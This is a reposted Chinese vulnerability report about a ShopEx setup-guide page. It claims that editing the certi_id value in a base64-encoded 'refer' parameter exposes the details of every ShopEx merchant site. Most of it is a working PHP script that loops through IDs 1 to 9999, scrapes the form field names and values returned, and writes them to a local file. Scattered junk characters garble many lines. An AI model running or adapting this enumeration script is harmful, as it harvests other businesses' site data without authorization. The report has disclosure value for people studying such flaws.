ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
0 c9 O( [! z, ~8 X* }ShopEx某接口缺陷,可遍历所有网站
详细说明：
3 |9 \6 c, L$ i$ k5 `8 d6 b) X: _问题出现在shopex 网店使用向导页面
0 S' s! |8 ]7 U


http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
: |/ Y. E+ z5 ]
) r2 L' f: X; B$ K6 ^' j+ r# V

refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
' r* I, F7 O/ u3 ?5 \( E
* I2 J  \4 \: G/ Z
) I- }* b% I, Q1 R3 J
' e) ^4 h1 w* {/ d( L我们修改certi_id 即可遍历所有使用了ShopEx程序的网站

. B: g6 F% G2 L; l1 X

<?php
, e( Z% y( d% x2 [4 R/ H. o
                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);

                }
8 L  g- b5 X8 s
3 M# B' V( T3 z6 |& y# f2 n& @. p                function ShowshopExD($cid) {
) Z& ^5 ]1 w% k" s) M
) D& Q! |4 }( t1 _                $url='http://guide.ecos.shopex.cn/step2.php';

( b) Y, J7 l! e% a  Z6 D* M  ]                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
2 t' f; H4 X2 m3 O* g; }
        $url = $url.'?refer='.$refer;

: y1 m( w$ M/ F3 L1 v4 e        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

/ H% J% N& G8 A5 \% i) _" c7 f& f        $result = curl_exec($ch);

( L$ k- x, O4 {3 ^2 I# k7 d- H8 X1 w        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
" w  d6 V8 J6 g
        if(strpos($result,$refer))
+ G: Z. x  J2 B9 g4 A
        {
- u2 R3 T. t; i+ q8 P" j, [
) k7 [, _. x0 ]                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
, R/ E3 x+ o& B& B6 w( \
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
; x/ q6 Q3 ~/ b  {& x3 X
& d6 B  R+ v3 K% x7 l                foreach ($value[1] as $key) {
+ s) L7 s  D: `/ f5 ?+ F: M+ L
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

                        echo $res[1][0].':'.$res[3][0]."\r\n";

: V& V" T' G/ ^( l* e5 p' }                        $col =$res[1][0].':'.$res[3][0]."\r\n";

* O2 B4 S" e1 w                        fwrite($fp, $col, strlen($col));

                }
1 v  w7 h# A5 i& C/ l
0 E1 d; }/ `7 T# G                echo '--------------------------------'."\r\n";
* D7 [- \, X* ?$ c* {- c# S
                fclose($fp);

        }

$ _7 Z! y1 k$ Z2 d) f# x        flush();

        curl_close($ch);
: o- @/ H7 J3 Y+ ^
3 D5 d9 f2 e7 c% K                }
( a0 L! Q7 N  ^* t+ w, l' O: w
?>
- j! R5 W( S! b) W  ^漏洞证明：
0 ?* Z1 L4 w% j4 ^. whttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式